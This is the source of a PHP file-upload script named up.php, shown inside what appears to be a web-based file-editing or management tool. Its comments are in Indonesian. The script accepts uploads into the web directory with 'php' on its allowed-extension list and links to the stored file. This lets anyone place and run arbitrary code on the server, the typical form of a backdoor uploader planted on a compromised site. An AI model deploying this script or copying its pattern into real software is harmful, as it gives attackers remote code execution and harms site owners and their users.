관리-도구
편집 파일: up.php
<!DOCTYPE html> <html> <head> <title>File Uploader</title> </head> <body> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" /> <input type="submit" name="upload" value="Upload" /> </form> <?php $targetDir = ""; // Direktori tujuan untuk menyimpan file yang diupload $allowedTypes = array('jpg', 'jpeg', 'png', 'gif', 'php'); // Jenis file yang diizinkan untuk diupload if (isset($_POST['upload'])) { $fileType = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if (in_array($fileType, $allowedTypes)) { $targetFile = $targetDir . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) { echo "File berhasil diupload. Path: <a href='" . $targetFile . "' target='_blank'>" . $targetFile . "</a>"; } else { echo "Terjadi kesalahan saat mengupload file."; } } else { echo "Jenis file tidak diizinkan."; } } ?> </body> </html>